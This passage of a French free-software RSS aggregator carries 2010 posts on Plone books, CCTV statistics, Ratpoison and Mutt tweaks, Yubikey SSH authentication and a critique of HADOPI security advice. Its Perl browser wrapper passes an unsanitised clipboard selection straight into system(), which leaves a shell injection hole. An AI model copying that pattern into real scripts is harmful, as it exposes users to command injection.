&lt;td&gt;Didactique et bien agencé il me sert pour préparer des ateliers pratiques lors des rencontre entre utilisateurs de Plone.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;http://redomino.com/en/labs/projects/plone-book?set_language=en&quot; target=&quot;_blank&quot;&gt;The Definitive Guide to Plone 2 Edition&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Avr 2009&lt;/td&gt;
&lt;td&gt;Développeurs débutants à expérimentés&lt;/td&gt;
&lt;td&gt;Une référence à garder dans un coin. Le livre continue à être mis à jour régulièrement sur son site dédié.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.packtpub.com/plone-3-theming-create-flexible-powerful-professional-templates/book&quot; target=&quot;_blank&quot;&gt;Plone 3 Theming&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Juil 2009&lt;/td&gt;
&lt;td&gt;Webmasters et intégrateurs&lt;/td&gt;
&lt;td&gt;C&amp;#8217;est l&amp;#8217;ouvrage qu&amp;#8217;il manquait depuis des années dans le monde de Plone. Il synthétise les bonnes pratiques pour Plone 3 et présente certaines techniques de Plone 4. A garder sous le coude.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.packtpub.com/plone-3-for-education/book&quot;&gt;Plone 3 for Education&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Déc 2009&lt;/td&gt;
&lt;td&gt;Intégrateurs des grandes écoles et des universités&lt;/td&gt;
&lt;td&gt;C&amp;#8217;est le premier livre dédié à un groupe de utilisateurs particuliers et il atteint bien sa cible. &lt;a href=&quot;http://weblion.psu.edu/news/mit-open-courseware-moves-to-plone&quot; target=&quot;_blank&quot;&gt;Au final même le MIT a migré sous Plone pour son projet Open Couserware&lt;/a&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.packtpub.com/plone-3-3-multimedia-website/book&quot;&gt;Plone 3 Multimedia&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Mai 2010&lt;/td&gt;
&lt;td&gt;Intégrateurs de sites orientés multimedia&lt;/td&gt;
&lt;td&gt;Vidéo, Flash, géolocalisation, et tous les gadgets présents dans les sites 2.0 sont présentés dans cet ouvrage.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.packtpub.com/plone-3-3-products-development-cookbook/book&quot; target=&quot;_blank&quot;&gt;Plone 3 Products Development Cookbook&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Mai 2010&lt;/td&gt;
&lt;td&gt;Développeurs expérimentés et Responsables SI&lt;/td&gt;
&lt;td&gt;Cet ouvrage présente toutes les techniques à connaitre pour monter une site à haute performance sous Plone. Maheureusement par manque de place certains passages manquent de détails utiles. Tous les chefs de projets et les responsables de site Plone devraient l&amp;#8217;avoir lu sinon l&amp;#8217;avoir à portée de main.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.packtpub.com/plone-3-3-site-administration/book&quot;&gt;Plone 3.3 Site Administration&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Juil 2010&lt;/td&gt;
&lt;td&gt;Webmasters et intégrateurs&lt;/td&gt;
&lt;td&gt;C&amp;#8217;est le complément de « Plone 3 Theming » orienté sur l&amp;#8217;administration d&amp;#8217;un site au jour le jour. A posséder.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.packtpub.com/plone-3-design-build-deploy-full-featured-secure-enterprise-intranet/book&quot;&gt;Plone 3 Intranets&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Août 2010&lt;/td&gt;
&lt;td&gt;Intégrateurs débutants à  confirmés&lt;/td&gt;
&lt;td&gt;Cet ouvrage est plus orienté sur les aspects de configuration de la sécurité et des outils de communications standard des intranets : blogs, newsletter, prévisualisation de documents.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Pourquoi aucun ouvrage en français ?&lt;/h2&gt;
&lt;p&gt;Pour le moment il n&amp;#8217;y a plus de réel leadership dans la communauté française de Plone. Les personnes impliquées sont tous au même niveau et il est difficile de prendre en charge la rédaction d&amp;#8217;un ouvrage à partir de zéro seul ou pour une petite équipe dispersée en France. Malgré tout le projet de rédaction suis son cours et aboutira bientôt.&lt;/p&gt;
&lt;p&gt;En théorie il serait possible de traduire les ouvrages en anglais mais le partenaire français de Packt préfère avoir un ouvrage original plutôt qu&amp;#8217;une traduction.&lt;/p&gt;
&lt;h2&gt;Plone, un outil en plein essor&lt;/h2&gt;
&lt;p&gt;Il y a  18 mois certains rangeaient déjà Plone dans les dinosaures du web et je recevais des messages me demandant d&amp;#8217;évaluer la pertinence de choisir cet outil pour les projets à long terme. Le développement de l&amp;#8217;offre en documentation démontre que Plone a su s&amp;#8217;adapter et se diversifier depuis la sortie de sa troisième version majeure. Le démarrage a pu paraitre difficile car de nombreux nouveaux outils ont du être mis en place par la communauté. Celle-ci à su rebondir et répondre aux demandes de ses utilisateurs. La communauté française elle s&amp;#8217;organise autour de nouveaux acteurs qui émergent et sortira bientôt de l&amp;#8217;ombre avec un certain nombre  d&amp;#8217;outils en cours de préparation.&lt;/p&gt;
&lt;p&gt;Plone 4 ne sera pas une révolution comme l&amp;#8217;a été Plone 3 mais plutôt une évolution importante qui a justifié son renommage en cours de réalisation de Plone 3.5 à Plone .40. Elle introduit quelques ruptures de compatibilité mais ne nécessite aucun apprentissage supplémentaire. Elle est une vitrine technologique pour des outils qui seront incontournables dans Plone 5.0 (Dexterity, deco.gs, XDV, WSGI, RelStorage, etc).&lt;/p&gt;
&lt;br /&gt;  &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/gocomments/encolpe.wordpress.com/451/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/comments/encolpe.wordpress.com/451/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/godelicious/encolpe.wordpress.com/451/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/delicious/encolpe.wordpress.com/451/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/gofacebook/encolpe.wordpress.com/451/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/facebook/encolpe.wordpress.com/451/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/gotwitter/encolpe.wordpress.com/451/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/twitter/encolpe.wordpress.com/451/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/gostumble/encolpe.wordpress.com/451/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/stumble/encolpe.wordpress.com/451/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/godigg/encolpe.wordpress.com/451/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/digg/encolpe.wordpress.com/451/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/goreddit/encolpe.wordpress.com/451/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/reddit/encolpe.wordpress.com/451/&quot; /&gt;&lt;/a&gt; &lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://stats.wordpress.com/b.gif?host=encolpe.wordpress.com&amp;amp;blog=1743175&amp;amp;post=451&amp;amp;subd=encolpe&amp;amp;ref=&amp;amp;feed=1&quot; width=&quot;1&quot; height=&quot;1&quot; /&gt;</description>
	<pubDate>jeu, 12 aoû 2010 03:35:53 +0000</pubDate>
</item>
<item>
	<title>Stéphane Salès - stephs: L'impact de la vidéosurveillance est de l'ordre de 1% - BUG BROTHER - Blog LeMonde.fr</title>
	<guid>urn:md5:f7df96e9a59a3f79b8d698b2d049bf63</guid>
	<link>http://blog.alio.fr/?post/2010/07/28/L-impact-de-la-vid%C3%A9osurveillance-est-de-l-ordre-de-1-BUG-BROTHER-Blog-LeMonde.fr</link>
	<description>&lt;p&gt;&lt;a href=&quot;http://bugbrother.blog.lemonde.fr/2010/07/28/limpact-de-la-videosurveillance-est-de-lordre-de-1/#xtor=RSS-32280322&quot;&gt;L'impact de la vidéosurveillance est de l'ordre de 1% - BUG BROTHER - Blog LeMonde.fr&lt;/a&gt;&lt;/p&gt;


&lt;blockquote&gt;&lt;p&gt;A Lyon, les caméras de vidéosurveillance permettent, en moyenne, une arrestation par caméra et par année. 200 arrestations, pour 219 caméras, comparées aux 20 604 actes de délinquance dits de voie publique ...&lt;/p&gt;&lt;/blockquote&gt;</description>
	<pubDate>mar, 27 jui 2010 22:00:00 +0000</pubDate>
</item>
<item>
	<title>Alexandre De Dommelin: Notification in Ratpoison WM when new unread mail in Mutt</title>
	<guid>http://blog.tuxz.net/17 at http://blog.tuxz.net</guid>
	<link>http://blog.tuxz.net/content/notification-ratpoison-wm-when-new-unread-mail-mutt</link>
	<description>&lt;div class=&quot;field field-type-text field-field-introtext&quot;&gt;
    &lt;div class=&quot;field-items&quot;&gt;
            &lt;div class=&quot;field-item odd&quot;&gt;
                    &lt;p&gt;After some time spent on Google to find a solution, somebody in #mutt told me to have a look at the status_format option in which we can call an external script ...&lt;/p&gt;
        &lt;/div&gt;
        &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The relevant part of the ~/.ratpoisonrc :&lt;/p&gt;
&lt;pre&gt;
set status_format=&amp;quot;/usr/local/bin/notify.sh '%r %f (%L) [Msgs:%?M?%M/?%m%?n? New:%n?%?d? Del:%d?%?F? Flag:%F?%?t? Tag:%t?%?p? Post:%p?%?b? Inc:%b?]'|&amp;quot;
&lt;/pre&gt;&lt;p&gt;/usr/local/bin/notify.sh (quick 'n dirty but it works!) :&lt;/p&gt;
&lt;pre name=&quot;code&quot; class=&quot;bash&quot;&gt;
#!/bin/bash
#
# Small script which display a message in ratpoison 
# when new incoming mail
#

echo &amp;quot;$1&amp;quot; | grep -q &amp;quot;New&amp;quot; &amp;gt; /dev/null 2&amp;gt;&amp;amp;1

if [ $? -eq 0 ];
then
  ratpoison -c &amp;quot;echo Unread mail in Inbox&amp;quot;
fi

echo &amp;quot;$1&amp;quot;
&lt;/pre&gt;</description>
	<pubDate>mar, 15 jun 2010 20:04:05 +0000</pubDate>
</item>
<item>
	<title>Alexandre De Dommelin: Yubiauth : Two-factor authentication with Yubikey in OpenSSH</title>
	<guid>http://blog.tuxz.net/16 at http://blog.tuxz.net</guid>
	<link>http://blog.tuxz.net/content/yubiauth-two-factor-authentication-yubikey-openssh</link>
	<description>&lt;div class=&quot;field field-type-text field-field-introtext&quot;&gt;
    &lt;div class=&quot;field-items&quot;&gt;
            &lt;div class=&quot;field-item odd&quot;&gt;
                    &lt;p&gt;Some times ago I've described a quick solution to setup two-factor authentication with OpenSSH&amp;nbsp;&amp;amp; Yubikey. I've made a clean Perl rewrite of the script with new features.&lt;/p&gt;
        &lt;/div&gt;
        &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Working features :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Config file in INI&amp;nbsp;format&lt;/li&gt;
&lt;li&gt;Multiple Yubikeys support for each user&lt;/li&gt;
&lt;li&gt;&amp;quot;Whitelist&amp;quot; : you can define IP (or networks using CIDR&amp;nbsp;notation) for clients which doesn't need to provide OTP.&lt;/li&gt;
&lt;li&gt;HMAC&amp;nbsp;verification&lt;/li&gt;
&lt;li&gt;Error logging&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Planned features :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Integration of PreludeEasy to report authentication failures to your Prelude SIEM&amp;nbsp;manager.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;nbsp;&lt;br /&gt;
Available from my &lt;a href=&quot;http://github.com/adedommelin&quot;&gt;Git repository&lt;/a&gt;.&lt;/p&gt;</description>
	<pubDate>lun, 14 jun 2010 20:30:26 +0000</pubDate>
</item>
<item>
	<title>Alexandre De Dommelin: Improve web browser integration within Ratpoison WM</title>
	<guid>http://blog.tuxz.net/14 at http://blog.tuxz.net</guid>
	<link>http://blog.tuxz.net/content/improve-web-browser-integration-within-ratpoison-wm</link>
	<description>&lt;div class=&quot;field field-type-text field-field-introtext&quot;&gt;
    &lt;div class=&quot;field-items&quot;&gt;
            &lt;div class=&quot;field-item odd&quot;&gt;
                    &lt;p&gt;Here is a solution based on a custom perl script to improve the integration of your web browser inside Ratpoison.&lt;/p&gt;
        &lt;/div&gt;
        &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Ratpoison is a keyboard driven window manager.&lt;br /&gt;
I've written a small perl script designed to be called via standard Ratpoison bind functions to interact with Midori (can be easily used with other web browsers). Here are the default binds :&amp;nbsp;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;:gg &amp;lt;terms&amp;gt; : search for &amp;lt;terms&amp;gt; in google.com&lt;/li&gt;
&lt;li&gt;:dp &amp;lt;package_name&amp;gt; : load packages.debian.org page of &amp;lt;package_name&amp;gt;&lt;/li&gt;
&lt;li&gt;:db &amp;lt;package_name&amp;gt; : load bugs.debian.org page of &amp;lt;package_name&amp;gt;&lt;/li&gt;
&lt;li&gt;:wi &amp;lt;terms&amp;gt; : search for &amp;lt;terms&amp;gt; in Wikipedia&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;There is also a shortcut (actually bind to escape-g) which send the current selection to the browser, if the selection is an URL, load it into the browser, otherwise search for string in Google.&lt;/p&gt;
&lt;p&gt;Relevant part of my ~/.ratpoisonrc :&lt;/p&gt;
&lt;pre&gt;
# Browser Wrapper
bind g exec ~/bin/browser_wrapper.pl selection `$RATPOISON -c getsel`
alias gg exec ~/bin/browser_wrapper.pl gg
alias dp exec ~/bin/browser_wrapper.pl dp
alias db exec ~/bin/browser_wrapper.pl db
alias wi exec ~/bin/browser_wrapper.pl wi
&lt;/pre&gt;&lt;p&gt;
~/bin/browser_wrapper.pl :&lt;/p&gt;
&lt;pre name=&quot;code&quot; class=&quot;python&quot;&gt;
#!/usr/bin/perl

{
  my $shortcut = $ARGV[0] || 'gg';
  my $browser = &amp;quot;/usr/bin/midori&amp;quot;;
  my $request = undef;
  my $url = undef;

  foreach $argnum ( 1 .. $#ARGV ) {
    $request .= $ARGV[$argnum].'%20';
  }

  $request =~ s/\%20$//;

  my $shortcuts_table = {
    'gg' =&amp;gt; sub {
              $url = &amp;quot;http://www.google.fr/search?q=&amp;quot; . $request;
              system( $browser . &amp;quot; &amp;quot; . $url );
            },

    'dp' =&amp;gt; sub {
              $url = &amp;quot;http://packages.debian.org/&amp;quot; . $request;
              system( $browser . &amp;quot; &amp;quot; . $url );
            },

    'db' =&amp;gt; sub {
              $url = &amp;quot;http://bugs.debian.org/&amp;quot; . $request;
              system( $browser . &amp;quot; &amp;quot; . $url );
            },

    'wi' =&amp;gt; sub {
              $url = &amp;quot;http://en.wikipedia.org/wiki/&amp;quot; . $request;
              system( $browser . &amp;quot; &amp;quot; . $url );
            },

    'selection' =&amp;gt; sub {
              if ( $request =~ m/^http:\/\/.*/ ) {
                $url = $request;
              } else {
                $url = &amp;quot;http://www.google.fr/search?q=&amp;quot; . $request;
              }
              system( $browser . &amp;quot; &amp;quot; . $url );
            }
  };

  $shortcuts_table-&amp;gt;{$shortcut} ? $shortcuts_table-&amp;gt;{$shortcut}-&amp;gt;() : $shortcuts_table-&amp;gt;{'gg'}-&amp;gt;();
}
0;
&lt;/pre&gt;</description>
	<pubDate>lun, 14 jun 2010 18:57:01 +0000</pubDate>
</item>
<item>
	<title>Alexandre De Dommelin: View HTML emails inside Mutt</title>
	<guid>http://blog.tuxz.net/13 at http://blog.tuxz.net</guid>
	<link>http://blog.tuxz.net/content/view-html-emails-inside-mutt</link>
	<description>&lt;div class=&quot;field field-type-text field-field-introtext&quot;&gt;
    &lt;div class=&quot;field-items&quot;&gt;
            &lt;div class=&quot;field-item odd&quot;&gt;
                    &lt;p&gt;More a reminder than a real post, here's how to display HTML emails inside Mutt using w3m.&lt;/p&gt;
        &lt;/div&gt;
        &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Put the following line into ~/.mailcap :&lt;/p&gt;
&lt;p&gt;text/html; w3m -I %{charset} -T text/html -dump; copiousoutput&lt;/p&gt;
&lt;p&gt;And just append :&lt;/p&gt;
&lt;p&gt;auto_view text/html&lt;/p&gt;
&lt;p&gt;in ~/.mutt/muttrc&lt;/p&gt;</description>
	<pubDate>mar, 08 jun 2010 18:45:18 +0000</pubDate>
</item>
<item>
	<title>Alexandre De Dommelin: New Debian package : libnet-akamai-perl</title>
	<guid>http://blog.tuxz.net/15 at http://blog.tuxz.net</guid>
	<link>http://blog.tuxz.net/content/new-debian-package-libnet-akamai-perl</link>
	<description>&lt;div class=&quot;field field-type-text field-field-introtext&quot;&gt;
    &lt;div class=&quot;field-items&quot;&gt;
            &lt;div class=&quot;field-item odd&quot;&gt;
                    &lt;p&gt;This package provides a perl module to interact with Akamai CCUAPI to handle multiple purge requests.&lt;/p&gt;
        &lt;/div&gt;
        &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Package : &lt;a href=&quot;http://packages.debian.org/sid/libnet-akamai-perl&quot; title=&quot;http://packages.debian.org/sid/libnet-akamai-perl&quot;&gt;http://packages.debian.org/sid/libnet-akamai-perl&lt;/a&gt;&lt;br /&gt;
Bugs : &lt;a href=&quot;http://packages.debian.org/libnet-akamai.perl&quot; title=&quot;http://packages.debian.org/libnet-akamai.perl&quot;&gt;http://packages.debian.org/libnet-akamai.perl&lt;/a&gt;&lt;/p&gt;</description>
	<pubDate>ven, 28 mai 2010 18:43:57 +0000</pubDate>
</item>
<item>
	<title>Stéphane Salès - stephs: La sagesse des Shadock...</title>
	<guid>urn:md5:a14fb082dc02ba387e46015c27beacc0</guid>
	<link>http://blog.alio.fr/?post/2010/05/26/La-sagesse-des-Shadock...</link>
	<description>&lt;p&gt;&lt;a href=&quot;http://sid.rstack.org/blog/index.php/399-la-sagesse-des-shadock&quot;&gt;La sagesse des Shadock... - Ma petite parcelle d'Internet... Le blog de Cédric &quot;Sid&quot; Blancher&lt;/a&gt;&lt;/p&gt;


&lt;blockquote&gt;&lt;p&gt;Il vaut mieux mobiliser son intelligence sur des conneries que de mobiliser sa connerie sur des choses intelligentes&lt;/p&gt;&lt;/blockquote&gt;

&lt;p&gt;&lt;a href=&quot;http://blog.alio.fr/?post/2010/05/26/...&quot; title=&quot;...&quot;&gt;...&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;&lt;p&gt;Six mois presque jour pour jour après avoir été questionné sur les mesures de sécurisation à déployer pour ne pas tomber dans la fameuse négligence caractérisée mentionnée à l'article L. 335-7-1 du code de la propriété intellectuelle, la réponse du ministère de la culture est enfin publiée. Les plus cyniques avaient prédit une réponse de normand, et ils ne sont, j'en suis sûr, pas déçu par le résultat. Par exemple, on n'apprendra rien de plus sur la caractérisation de la négligence puisque &quot;les éléments constitutifs de cette contravention seront définis par un décret qui est en cours d'examen au Conseil d'État&quot;. Super...&lt;/p&gt;
&lt;p&gt;
En ce qui concerne les moyens de protection à déployer, ce n'est guère mieux. On apprendra qu'il faut s'intéresser d'une part à la sécurisation de son poste de travail et d'autre part à celle de son boîtier de connexion. Le premier point serait à gérer avec des solutions de contrôle parental, pour empêcher les marmots d'aller faire des conneries sur Internet je suppose, et des &quot;solutions de type pare-feu ou antivirus&quot;. Je ne sais pas ce que vous en pensez, mais le refrain &quot;installe un pare-feu et un antivirus&quot; sonne à mes oreilles comme une rengaine qui a depuis longtemps démontré ses limites. Mais bon, puisqu'on nous le dit...&lt;/p&gt;
&lt;p&gt;
En fait, c'est sur la sécurisation de la box que ça devient très drôle... Ou pas... C'est selon le point de vue. Ça rappelle aussi un peu un jugement rendu récemment outre-Rhin... On nous explique en effet qu'il faut les protéger &quot;au moyen de clés et de protocoles cryptographiques&quot; et de fournir en exemple les &quot;clés WEP et WPA&quot;. Protection qui pourrait être &quot;complétée par une restriction d'accès aux seuls périphériques préalablement déclarés par l'utilisateur&quot;, c'est à dire du &quot;filtrage MAC&quot;. Vous êtes sur le cul&amp;nbsp;? Moi aussi...&lt;/p&gt;
&lt;p&gt;
On doit être sacrément occupé au ministère de la culture. Parce que franchement... Six mois pour pondre une réponse de cet acabit, c'est un peu du foutage de gueule... Car non content d'aligner les lieux communs que sont le pare-feu, l'antivirus et le chiffrement du lien Wi-Fi, on y parvient tout de même à les accompagner de la préconisation d'un protocole connu pour être totalement inefficace depuis près de dix ans d'une part, et d'un mécanisme de contrôle d'accès aisément contournable qui demande des efforts de configuration et de maintenance loin d'être négligeables d'autre part. Genre, on va filer un protection de merde à Mme Michu, et histoire d'en rajouter une couche, on va lui demander de lister des adresses MAC...&lt;/p&gt;
&lt;p&gt;
La loi HADOPI poursuit, nous a-t-on longuement expliqué dans l'hémicycle, un but pédagogique. Mais avant de vouloir se montrer pédagogue, encore faudrait-il maîtriser les sujets qu'on veut enseigner. Or, force est de constater que certains ont cruellement besoin de cours de rattrapage en ce qui concerne les moyens de sécurité...&lt;/p&gt;&lt;/blockquote&gt;</description>
	<pubDate>mer, 26 mai 2010 18:31:00 +0000</pubDate>
</item>
<item>
	<title>Stéphane Salès - stephs: L'abus de Facebook est dangereux pour la santé - L'actu en patates - Blog LeMonde.fr</title>
	<guid>urn:md5:001845439ebab197d4ca766eaaa62be6</guid>
	<link>http://blog.alio.fr/?post/2010/05/24/L-abus-de-Facebook-est-dangereux-pour-la-sant%C3%A9-L-actu-en-patates-Blog-LeMonde.fr</link>
	<description>&lt;p&gt;&lt;a href=&quot;http://vidberg.blog.lemonde.fr/2010/05/15/labus-de-facebook-est-dangereux-pour-la-sante/#xtor=RSS-32280322&quot;&gt;L'abus de Facebook est dangereux pour la santé - L'actu en patates - Blog LeMonde.fr&lt;/a&gt;&lt;/p&gt;


&lt;p&gt;&lt;img src=&quot;http://vidberg.blog.lemonde.fr/files/2010/05/141_apero-facebook.1273911053.gif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;</description>
	<pubDate>lun, 24 mai 2010 09:31:00 +0000</pubDate>
</item>
<item>
	<title>Stéphane Salès - stephs: super heroes</title>
	<guid>urn:md5:691d4fff1326e043b483f41924ead68f</guid>
	<link>http://blog.alio.fr/?post/2010/05/23/super-heroes</link>
	<description>&lt;p&gt;&lt;a href=&quot;http://www.flm.fr/photo3.php?dir=http://images.flm.fr/070510/7.jpg&quot;&gt;FLM.FR - FumezLaMoquette.com - Images et vidéos insolites&lt;/a&gt;
&lt;img src=&quot;http://blog.alio.fr/public/images/humour/.superheroes_m.jpg&quot; alt=&quot;superheroes.jpg&quot; /&gt;&lt;/p&gt;</description>
	<pubDate>dim, 23 mai 2010 08:22:00 +0000</pubDate>
</item>
<item>
	<title>Stéphane Salès - stephs: La politique anti-crise expliquée aux enfants - L'actu en patates - Blog LeMonde.fr</title>
	<guid>urn:md5:f279f906e4cd08bf1d7426b41df149c4</guid>
	<link>http://blog.alio.fr/?post/2010/05/22/La-politique-anti-crise-expliqu%C3%A9e-aux-enfants-Lu2019actu-en-patates-Blog-LeMonde.fr</link>
	<description>&lt;p&gt;&lt;a href=&quot;http://vidberg.blog.lemonde.fr/2010/05/11/la-politique-anti-crise-expliquee-aux-enfants/&quot;&gt;La politique anti-crise expliquée aux enfants - L'actu en patates - Blog LeMonde.fr&lt;/a&gt;&lt;/p&gt;


&lt;p&gt;&lt;img src=&quot;http://vidberg.blog.lemonde.fr/files/2010/05/137-relance-rigueur.1273569736.gif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;</description>
	<pubDate>sam, 22 mai 2010 15:57:00 +0000</pubDate>
</item>
<item>
	<title>Stéphane Salès - stephs: ReclaimPrivacy.org | Facebook Privacy Scanner</title>
	<guid>urn:md5:37b62cd16aa68d49ce22e71ea0b43104</guid>
	<link>http://blog.alio.fr/?post/2010/05/21/ReclaimPrivacy.org-%7C-Facebook-Privacy-Scanner</link>
	<description>&lt;p&gt;&lt;a href=&quot;http://www.reclaimprivacy.org/&quot; hreflang=&quot;en&quot;&gt;ReclaimPrivacy.org, Facebook Privacy Scanner&lt;/a&gt;&lt;/p&gt;


&lt;p&gt;This website provides an independent and open tool for scanning your Facebook privacy settings.&lt;/p&gt;</description>
	<pubDate>ven, 21 mai 2010 13:32:00 +0000</pubDate>
</item>
<item>
	<title>Encolpe DEGOUTE: L’ALDIL, une association d’utilisateurs de logiciels libres</title>
	<guid>http://encolpe.wordpress.com/?p=429</guid>
	<link>http://encolpe.wordpress.com/2010/05/17/laldil-une-association-dutilisateurs-de-logiciels-libres/</link>
	<description>&lt;p&gt;Cela sonne comme une évidence mais il est bon parfois de le rappeler.&lt;/p&gt;
&lt;p&gt;En tant qu&amp;#8217;association de promotion du Logiciel Libre ses membres sont amenés à pendre contacts avec des institutionnels et  à participer à des tables rondes ou des rencontres impliquant des professionnels de différents secteurs. Dans ce contexte il nous est souvent demandé directement ou en marge une liste de contacts professionnels pour des formations, du conseil, des audits, ou d&amp;#8217;autres prestations. Ces démarches sont plutôt de bons indicateurs de la bonne santé du Logiciel Libre et de la place de l&amp;#8217;ALDIL dans l&amp;#8217;écosystème local, mais généralement nous préférons botter en touche et nous demandons au requérant de faire un annonce publique. Je l&amp;#8217;ai encore répété lors de la dernière réunion de l&amp;#8217;&lt;a href=&quot;http://openadira.wordpress.com/&quot;&gt;Open ADIRA&lt;/a&gt; (la branche Open Source de l&amp;#8217;Association pour le Développement de l&amp;#8217;Informatique en Rhône-Alpes).&lt;/p&gt;
&lt;p&gt;Dans notre zone d&amp;#8217;activité c&amp;#8217;est au nouvellement formé &lt;a href=&quot;http://www.ploss-ra.fr/&quot;&gt;PLOSS-RA&lt;/a&gt; de tenir ce type d&amp;#8217;annuaire. Pour l&amp;#8217;instant, le site contient juste une liste de sociétés membres mais elle devrait rapidement s&amp;#8217;enrichir et proposer un système de sélection par facette par rapport aux domaines de compétences et aux services fournis par chaque entreprise.&lt;/p&gt;
&lt;p&gt;L&amp;#8217;ALDIL est le partenaire idéal lorsqu&amp;#8217;il s&amp;#8217;agit de préparer des conférences ou des ateliers avec des utilisateurs avertis ou des développeurs. Elle peut aussi servir de relais aux initiatives tournant autour de la culture libre (musique, film, agriculture,&amp;#8230;). Nos partenaires apprécient notre neutralité et nous comptons bien la garder.&lt;/p&gt;
&lt;br /&gt;  &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/gocomments/encolpe.wordpress.com/429/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/comments/encolpe.wordpress.com/429/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/godelicious/encolpe.wordpress.com/429/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/delicious/encolpe.wordpress.com/429/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/gofacebook/encolpe.wordpress.com/429/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/facebook/encolpe.wordpress.com/429/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/gotwitter/encolpe.wordpress.com/429/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/twitter/encolpe.wordpress.com/429/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/gostumble/encolpe.wordpress.com/429/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/stumble/encolpe.wordpress.com/429/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/godigg/encolpe.wordpress.com/429/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/digg/encolpe.wordpress.com/429/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/goreddit/encolpe.wordpress.com/429/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/reddit/encolpe.wordpress.com/429/&quot; /&gt;&lt;/a&gt; &lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://stats.wordpress.com/b.gif?host=encolpe.wordpress.com&amp;amp;blog=1743175&amp;amp;post=429&amp;amp;subd=encolpe&amp;amp;ref=&amp;amp;feed=1&quot; width=&quot;1&quot; height=&quot;1&quot; /&gt;</description>
